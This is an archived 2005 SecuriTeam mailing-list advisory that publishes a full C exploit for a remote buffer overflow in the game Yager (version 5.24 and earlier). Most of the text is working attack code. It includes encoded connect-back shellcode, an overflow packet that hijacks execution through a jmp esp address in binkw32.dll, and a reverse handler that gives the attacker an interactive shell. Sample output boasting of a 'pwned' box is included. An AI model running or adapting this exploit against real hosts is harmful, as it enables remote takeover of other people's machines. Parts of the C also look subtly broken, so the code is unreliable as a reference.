

[EXPL] Yager Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-04/0151.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 04/26/05

To: list@securiteam.com

Date: 26 Apr 2005 10:48:40 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Yager Buffer Overflow (Exploit)

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/5BP0J2KFGW.html>> Yager Multiple Vulnerabilities (Multiple Buffer Overflows and DoS), a vulnerability in Yager allows remote attackers to cause the program to overflow an internal buffer and in turn cause it to execute arbitrary code. The following exploit can be used to test your Yager installation for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

- * Yager version 5.24 and prior

Exploit:

/*

*

* Yager <= 5.24 Remote Buffer Overflow Exploit

*

* cybertronic[at]gmx[dot]net

* 04/25/2005

*

Securiteam: [EXPL] Yager Buffer Overflow (Exploit)

```
* send all the money to Luigi Auriemma
*
* _ _ _ _
* _____ // _ _ _ _ // _____ _ _ _ _ ( ) _____
* / _ _ _ _ // _ _ _ _ // _ _ _ _ // _ _ _ _ // _ _ _ _ // _ _ _ _
* // _ _ _ _ // _ _ _ _ // _ _ _ _ // _ _ _ _ // _ _ _ _ // _ _ _ _
* \ _ _ _ _ /, / _ _ _ _ / \ _ _ _ _ / \ _ _ _ _ / \ _ _ _ _ / \ _ _ _ _ /
* / _ _ _ _ /
*
* --[ exploit by : cybertronic – cybertronic[at]gmx[dot]net
* --[ select target
* --[ 0 [0xdead0de] crash server
* --[ 1 [0x300686bd] binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1
GER]
* >> 1
* --[ sending handshake [UDP]...done!
* --[ reading server response [UDP]...done!
* --[ server port: 1089
* --[ connecting to 192.168.2.100:1089 [TCP]...done!
* --[ exploiting WinXP Pro SP1 GER
* --[ ret: 0x300686bd [ jmp esp in binkw32.dll ]
* --[ exploiting packet overflow...
* --[ sending packet...done!
* --[ starting reverse handler [port: 1337]...done!
* --[ incoming connection from: 192.168.2.100
* --[ b0x pwned – h4ve phun
* Microsoft Windows XP [Version 5.1.2600]
* (C) Copyright 1985–2001 Microsoft Corp.
*
* C:\Yager>
*
*/

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT_UDP 34855

#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"

/*
*
* prototypes
*
*/
```

Securiteam: [EXPL] Yager Buffer Overflow (Exploit)

```
int exploit ( int s, unsigned long xoredip, unsigned short xoredcbport,
unsigned long ret );
int isip ( char *ip );
int send_handshake ( int s, struct sockaddr_in remote_addr );
int shell ( int s, char* tip, unsigned short cbport );
```

```
void header ();
void start_reverse_handler ( char* argv3 );
```

```
/******
 * Windows Shellcode *
*****/
```

```
/*
 * Type : connect back shellcode
 * Length: 316 bytes
 * CBIP : reverseshell[111] ( ^ 0x99999999 )
 * CBPort: reverseshell[118] ( ^ 0x9999 )
 *
 */
```

```
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
"\x89\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";
```

```
/*
 *
 * structures
 *
 */
```

```
struct targets {
    int num;
```

Securiteam: [EXPL] Yager Buffer Overflow (Exploit)

```
    unsigned long ret;
    char name[64];
}
target[]= {
    { 0, 0xdead0de, "crash server" },
    { 1, 0x300686bd, "binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro
SP1 GER]" } //push esp in binkw32.dll
};

/*
 *
 * functions
 *
 */

int
exploit ( int s, unsigned long xoredcbip, unsigned short xoredcbport,
unsigned long ret )
{
    int r;
    char buffer_pack[592];

    printf ( "--[ exploiting WinXP Pro SP1 GER\n" );
    printf ( "--[ ret: 0x%08x [ jmp esp in binkw32.dll ]\n", ret );

    memcpy ( &reverseshell[111], &xoredcbip, 4);
    memcpy ( &reverseshell[118], &xoredcbport, 2);

    r = ~time ( NULL ) & 0xffff;
    printf ( "--[ exploiting packet overflow...\n" );
    bzero ( &buffer_pack, sizeof ( buffer_pack ) );
    memset ( buffer_pack, 0x41, 268 );
    strcat ( buffer_pack, ( unsigned char* ) &ret, 4 );
    strcat ( buffer_pack, "\x41\x41\x41\x41", 4 ); //4 bytes padding
    memcpy ( buffer_pack + 276, reverseshell, sizeof ( reverseshell )
- 1 );
    buffer_pack[0] = 0x00;
    buffer_pack[1] = 0x00;
    buffer_pack[2] = 0x00;
    buffer_pack[3] = 0x00;
    buffer_pack[4] = 0x46; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
    buffer_pack[5] = 0x02; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
    buffer_pack[6] = ( r & 0x00ff );
    buffer_pack[7] = ( ( r & 0xff00 ) >> 8 );
    buffer_pack[8] = 0x00;
    buffer_pack[9] = 0x00;
    printf ( "--[ sending packet..." );
    if ( write ( s, buffer_pack, sizeof ( buffer_pack ) ) <= 0 )
    {
        printf ( "failed!\n" );
        return ( 1 );
    }
}
```

Securiteam: [EXPL] Yager Buffer Overflow (Exploit)

```
    }
    printf ( "done!\n" );
    return ( 0 );
}

int
isip ( char *ip )
{
    int a, b, c, d;

    if ( !scanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
        return ( 0 );
    if ( a < 1 )
        return ( 0 );
    if ( a > 255 )
        return 0;
    if ( b < 0 )
        return 0;
    if ( b > 255 )
        return 0;
    if ( c < 0 )
        return 0;
    if ( c > 255 )
        return 0;
    if ( d < 0 )
        return 0;
    if ( d > 255 )
        return 0;
    return 1;
}

int
send_handshake ( int s, struct sockaddr_in remote_addr )
{
    char* p;
    char crap[23];
    char in[2048];
    unsigned short port;

    bzero ( &crap, sizeof ( crap ) );
    crap[0] = 0x59;
    crap[1] = 0x5f;
    crap[2] = 0x4e;
    crap[3] = 0x45;
    crap[4] = 0x54;
    crap[5] = 0x5f;
    crap[6] = 0x59;
    crap[7] = 0x41;
    crap[8] = 0x47;
    crap[9] = 0x45;
    crap[10] = 0x52;
```

Securiteam: [EXPL] Yager Buffer Overflow (Exploit)

```
crap[11] = 0x5f;
crap[12] = 0x43;
crap[13] = 0x4c;
crap[14] = 0x49;
crap[15] = 0x45;
crap[16] = 0x4e;
crap[17] = 0x54;
crap[18] = 0x00;
*( u_short* ) ( crap + 19 ) = ~time ( NULL );
crap[21] = 0x00;
crap[22] = 0x00;
printf ( "--[ sending handshake [UDP]..." );
if ( sendto ( s, crap, sizeof ( crap ), 0, ( struct sockaddr* )
&remote_addr, sizeof ( remote_addr ) ) < 0 )
{
    printf ( "failed!\n" );
    return ( 1 );
}
printf ( "done!\n" );
printf ( "--[ reading server response [UDP]..." );
bzero ( &in, sizeof ( in ) );
if ( recvfrom ( s, in, sizeof ( in ) - 1, 0, NULL, NULL ) < 0 )
{
    printf ( "failed!\n" );
    return ( 1 );
}
printf ( "done!\n" );
p = in + 19;
port = ntohs ( *( u_short * ) p );
printf ( "--[ server port: %d\n", port );
return ( port );
}

int
shell ( int s, char* tip, unsigned short cbport )
{
    int n;
    char buffer[2048];
    fd_set fd_read;

    printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p"
YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "-- " NORMAL "h" YELLOW
"4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n"
NORMAL "\n" );

    FD_ZERO ( &fd_read );
    FD_SET ( s, &fd_read );
    FD_SET ( 0, &fd_read );

    while ( 1 )
    {
```

Securiteam: [EXPL] Yager Buffer Overflow (Exploit)

```

FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );

if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
    break;
if ( FD_ISSET ( s, &fd_read ) )
{
    if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0
)) < 0 )
    {
        printf ( "bye bye...\n" );
        return;
    }
    if ( write ( 1, buffer, n ) < 0 )
    {
        printf ( "bye bye...\n" );
        return;
    }
}
if ( FD_ISSET ( 0, &fd_read ) )
{
    if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) )
< 0 )
    {
        printf ( "bye bye...\n" );
        return;
    }
    if ( send ( s, buffer, n, 0 ) < 0 )
    {
        printf ( "bye bye...\n" );
        return;
    }
}
    }
    usleep(10);
}
}

void
header ()
{
    printf ( " _ _ _ _ \n" );
    printf ( " _____ // _ _ _ _ // _____ _ ( _ ) _ _ _ \n"
);
    printf ( " / _ _ // // _ \ \ _ \ \ _ _ / _ / _ _ / _ \ \ _ \ \ /
_ _ / \n" );
    printf ( " // _ / // // // _ // // // // // // // _ \n"
);
    printf ( "\\ _ _ \ \ _ , / . _ _ \ \ _ _ // \ \ _ // \ \ _ _ //
/ _ / \ \ _ _ / \n" );
    printf ( " / _ _ / \n" );
    printf ( " --[ exploit by : cybertronic -

```

Securiteam: [EXPL] Yager Buffer Overflow (Exploit)

```
cybertronic[at]gmx[dot]net\n" );
}

void
start_reverse_handler ( char* argv3 )
{
    int s1, s2;
    unsigned short cbport;
    struct sockaddr_in cliaddr, servaddr;
    socklen_t clilen = sizeof ( cliaddr );

    sscanf ( argv3, "%u", &cbport );

    bzero ( &servaddr, sizeof ( servaddr ) );
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
    servaddr.sin_port = htons ( cbport );

    printf ( "--[ starting reverse handler [port: %u]...", cbport );
    if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
    {
        printf ( "socket failed!\n" );
        exit ( 1 );
    }
    bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
    if ( listen ( s1, 1 ) == -1 )
    {
        printf ( "listen failed!\n" );
        exit ( 1 );
    }
    printf ( "done!\n" );
    if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen )
) < 0 )
    {
        printf ( "accept failed!\n" );
        exit ( 1 );
    }
    close ( s1 );
    printf ( "--[ incomming connection from:\t%s\n", inet_ntoa (
cliaddr.sin_addr ) );
    shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
    close ( s2 );
}

int
main ( int argc, char* argv[] )
{
    int s1, s2, targ, i;
    unsigned long xoredcbip;
    unsigned short cbport, xoredcbport, port;
    struct sockaddr_in remote_addr;
```

Securiteam: [EXPL] Yager Buffer Overflow (Exploit)

```
struct hostent* host_addr;

if ( argc != 4 )
{
    printf ( "Usage: %s <ip> <cbip> <cbport>\n", argv[0] );
    exit ( 1 );
}
system ( "clear" );
header ();
if ( !isip ( argv[1] ) )
{
    printf ( "Invalid Target IP!\n" );
    exit ( 1 );
}
if ( !isip ( argv[2] ) )
{
    printf ( "Invalid connect back IP!\n" );
    exit ( 1 );
}
printf ("--[ select target\n");
for ( i = 0; i < 2; i++ )
    printf ( "--[ %d [0x%08x] %s\n", target[i].num,
target[i].ret, target[i].name );
printf ( " >> " );
scanf ( "%d", &targ );
if ( targ != 0 )
    if ( targ != 1 )
    {
        printf ( "--[ invalid target!\n" );
        exit ( 1 );
    }
if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )
{
    fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] );
    exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr
);
remote_addr.sin_port = htons ( PORT_UDP );
if ( ( s1 = socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) ) < 0 )
{
    printf ( "socket failed!\n" );
    exit ( 1 );
}
if ( ( port = send_handshake ( s1, remote_addr ) ) == 1 )
{
    printf ( "handshake FAILED!\n" );
    exit ( 1 );
}
close ( s1 );
```

Securiteam: [EXPL] Yager Buffer Overflow (Exploit)

```
if ( ( s2 = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
    printf ( "socket failed!\n" );
    exit ( 1 );
}
printf ( "--[ connecting to %s:%u [TCP]...", argv[1], port );
remote_addr.sin_port = htons ( port );
if ( connect ( s2, ( struct sockaddr * ) &remote_addr, sizeof (
struct sockaddr ) ) == -1 )
{
    printf ( "failed!\n" );
    exit ( 1 );
}
printf ( "done!\n" );

xoredcbip = inet_addr ( argv[2] ) ^ ( unsigned long ) 0x99999999;
xoredcbport = htons ( atoi ( argv[3] ) ) ^ ( unsigned short )
0x9999;

if ( exploit ( s2, xoredcbip, xoredcbport, target[targ].ret ) == 1
)
{
    printf ( "exploitation FAILED!\n" );
    exit ( 1 );
}
close ( s2 );
start_reverse_handler ( argv[3] );
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:cybertronic@gmx.net>>
cybertronic.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.